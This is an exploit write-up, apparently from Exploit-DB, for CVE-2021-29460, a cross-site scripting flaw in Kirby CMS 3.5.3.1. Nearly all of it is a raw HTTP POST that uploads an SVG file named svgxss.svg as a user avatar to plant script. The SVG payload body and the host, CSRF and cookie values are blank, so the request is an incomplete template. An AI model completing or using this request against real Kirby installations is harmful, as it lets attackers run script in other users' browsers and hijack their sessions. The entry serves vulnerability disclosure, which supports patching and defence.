CVE-2021-29460_Kirby_CMS_3.5.3.1_XSS漏洞

# CVE-2021-29460 Kirby CMS 3.5.3.1 XSS漏洞
==XSS==

# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
# Date: 21-04-2021
# Exploit Author: Sreenath Raghunathan
# Vendor Homepage: https://getkirby.com/
# Software Link: https://github.com/getkirby/kirby
# Version: 3.5.3.1(REQUIRED)
# CVE : CVE-2021-29460

POST /api/users//avatar HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF: 
Content-Type: multipart/form-data;
boundary=---------------------------286121627839893676321700902916
Content-Length: 563

Connection: close
Cookie:




-----------------------------286121627839893676321700902916
Content-Disposition: form-data; name="file"; filename="svgxss.svg"
Content-Type: image/svg+xml





-----------------------------286121627839893676321700902916--